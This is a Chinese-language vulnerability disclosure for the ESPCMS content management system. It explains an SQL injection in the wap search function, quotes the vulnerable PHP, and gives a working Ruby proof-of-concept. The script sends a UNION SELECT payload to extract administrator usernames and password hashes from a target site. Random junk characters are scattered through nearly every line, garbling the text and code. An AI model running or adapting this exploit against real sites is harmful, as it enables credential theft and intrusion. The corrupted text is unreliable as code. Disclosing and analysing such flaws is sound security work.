0×0 漏洞概述0×1 漏洞细节+ Y7 h: ]# P5 K4 N1 |
0×2 PoC
3 u; `8 U, [4 i8 ^4 x* z# o v( B W7 k3 T! s6 o! A: R
4 E; ~7 C$ P+ d
5 F I+ S6 A6 ?& u0×0 漏洞概述! _) p5 F5 h' z* { g7 s
3 m! H( j6 f; r3 e1 @; i易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。" V4 H9 q0 @* J4 j* r6 S3 g- h
其在处理传入的参数时考虑不严谨导致SQL注入发生
( W$ H! l7 b7 B# h% @9 q
- S. Y8 T2 ^0 A5 g
j. s R A* g8 l( [/ u/ S, Q0×1 漏洞细节1 m# `! G9 B1 y* g% S
* P% \9 ^; h5 z变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
" [* q$ |! a& j8 C9 P0 b# h4 l正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。 R! E( Z! ~6 l* Z
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入。9 c- x& o j# r3 ^4 _
- \: h0 H9 g) v& p在/interface/3gwap_search.php文件的in_result函数中:
1 M% _/ p% c8 }8 L* b& ? `0 ?% J( t
: P0 g. U; }- m" i
" h2 r( b5 V$ s+ T function in_result() {
6 x' [9 @' b( h5 w- e; N: K ... ... ... ... ... ... ... ... ...0 t0 ~5 q6 y9 L2 ^9 X: m/ I
$urlcode = $_SERVER[ 'QUERY_STRING '];( C# F- w' B1 ~* k# B6 n* o
parse_str(html_entity_decode($urlcode), $output);
8 y& n- ^3 \7 I- s" b) C
2 }' a: P! Z, f& a- r' } ... ... ... ... ... ... ... ... ...! k7 V. E8 C* U! Y3 I* ?
if (is_array($output['attr' ]) && count($output['attr']) > 0) {
+ V" c" _5 l- v# V+ K* W$ h: _# A' g, w6 O. f
$db_table = db_prefix . 'model_att';
: G7 r. H2 J ~* K$ W! P; s" l2 H' }) ]& Q$ B* l; K( ~
foreach ($output['attr' ] as $key => $value) {
; A# a3 a/ [! E7 C if ($value) {: A' D- a' H- s: ?* t3 y- ?8 [
# x- p& f S' f, g8 u: d $key = addslashes($key);
. m; V4 {. i! E* I r, b $key = $this-> fun->inputcodetrim($key);
) w, m1 ~/ I% A) K% Q $db_att_where = " WHERE isclass=1 AND attrname='$key'";, Q% d d" b: ~& @$ T2 B
$countnum = $this->db_numrows($db_table, $db_att_where);5 t* [+ j, t0 j( s0 i4 _; P. `, z5 ]
if ($countnum > 0) {& f# W" o8 m; h' n1 X
$db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;) A# v. f* S- g2 s" t7 K# _1 v
}
; @7 |" h7 G1 }3 b3 O" S }
, O" ~+ h7 X* k) c; l }" h, G, G6 c" @! y | b; T
}6 l( Q, }% I- g4 Z; D- i8 P! K
if (!empty ($keyword) && empty($keyname)) {
8 t0 P! w% B+ r $keyname = 'title';% R; I A- U6 ~- O4 m! A& r
$db_where.= " AND a.title like '%$keyword%'" ;+ R' I: J0 b4 i; c
} elseif (!empty ($keyword) && !empty($keyname)) {, P! f: ^ ]% X! W% y1 \3 k
$db_where.= " AND $keyname like '% $keyword%'";
, B3 p2 o' ~ e( Z* F, g0 P6 J! x }
`; ~+ j8 F& i $pagemax = 15;
) M+ Y- t5 U5 L( N) o3 t$ o) i7 @7 O' c
$pagesylte = 1; w, Y9 U1 w" Y; f0 P
. @3 X5 J0 t5 [! _: |& m if ($countnum > 0) {
+ w l* W* T( ^! n2 U/ B% x6 v( U& n, n) f
$numpage = ceil($countnum / $pagemax);( b- D$ N" Q( Y# n0 w, A
} else {. [7 c( E9 Y: T) L8 W7 t1 y, F2 r
$numpage = 1;; x" d( W6 P/ O: v8 \, V
}" }" P8 W% @, T# t7 q3 i$ I
$sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;
# X' T& { W' i0 B* c' q6 c $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);$ G: p- i8 ]* h& Z4 z" `0 `) Y8 L
$sql = $this-> htmlpage->PageSQL('a.did' , 'down' ); $rs = $this->db->query($sql);
$ ?: { _0 E8 L% b: N% }) i ... ... ... ... ... ... ... ... ...+ c) @6 s5 P* M; s7 h& H6 b
}
. u* [% O0 O( i, l9 G; h% a9 L5 l, |0 h7 Z+ L- \
/ a* ~8 Z: E9 ~7 K. t
0×2 PoC
7 w4 h) D6 p5 D' {2 Z2 o4 ~2 A( @
3 k9 a! a1 n q; a9 w/ E; H2 K' ?5 S e8 V0 t
) y! s2 F! d4 w$ \2 O% [
require "net/http"4 D4 S2 F5 F& f; X$ P6 s) \
0 Q/ N$ o! |# w! S: e, D
def request(method, url)
( }0 [" S3 h. r$ \ if method.eql?("get")
3 T: L% J3 \6 c6 B: K3 c# H uri = URI.parse(url)
# |- y4 S6 P6 e) ?' Y# K% V5 o http = Net::HTTP.new(uri.host, uri.port)
* u. q, [% y1 |1 q6 q9 } response = http.request(Net::HTTP::Get.new(uri.request_uri))) I @) Q! w0 `8 [! ~: s
return response) O: S5 G, `; w
end5 w+ b( t' B& |; i) F* F
end
# U6 n/ k+ E# ?1 T$ c3 m b) X+ H Z) b7 a' T! k
doc =<<HERE
# X8 j# T7 {% V0 p* l# ~/ v; Y-------------------------------------------------------
& {+ q" t: h3 S7 n- @( hEspcms Injection Exploit
& j5 a0 ~4 o" l8 F: rAuthor:ztz* J9 ?4 c7 I9 ?
Blog:http://ztz.fuzzexp.org/( o. H0 q8 w# x' |& L1 u
-------------------------------------------------------
" ~% \" R4 @9 @2 v) P; j8 Z2 N% f: H1 G( U2 ]; `+ j- s. m
HERE
- H! ]# l7 A2 a5 P, @- y! o1 I2 c1 |! M, }* @3 x+ h$ b
usage =<<HERE; {7 O. D L5 F1 |, y( Y
Usage: ruby #{$0} host port path
4 z1 ] m& Y" }example: ruby #{$0} www.target.com 80 /
' W& x" Q/ S; I( i- x( t6 @HERE
% m( T; u' R$ [4 ]
4 j# |6 N5 N( O9 C1 zputs doc
# T6 g% z1 }4 P/ T! b& Sif ARGV.length < 3
' W, H% l/ u5 u, P* k9 ^1 k puts usage
o+ ]3 }# B- M7 I6 w* gelse
) ~, P8 R% V2 }' L9 g- O/ X $host = ARGV[0]
1 ~! F* O: f. K& \& }" L $port = ARGV[1]2 O+ @4 V; C* a' {: V
$path = ARGV[2]9 B4 _5 u: }9 [ x
* ?" N, c2 L1 s/ k
puts "send request..."8 s, N" F8 ^; X( ?
url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&' H& W a2 w% B3 l
attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13
1 \/ y# y+ |+ W6 B p, W,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,27: d D: }0 @; `/ r
,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"
/ X9 n* b& k5 T! z6 ~) B i response = request("get", url); `) i& ]' g7 Y4 \
result = response.body.scan(/\w+&\w{32}/)8 w# ]$ y+ A' V
puts result
" H; T; s1 p( [! d$ _end6 n, f0 R8 B B8 C0 W9 Y
/ K, s' y1 Y/ F9 X5 O
|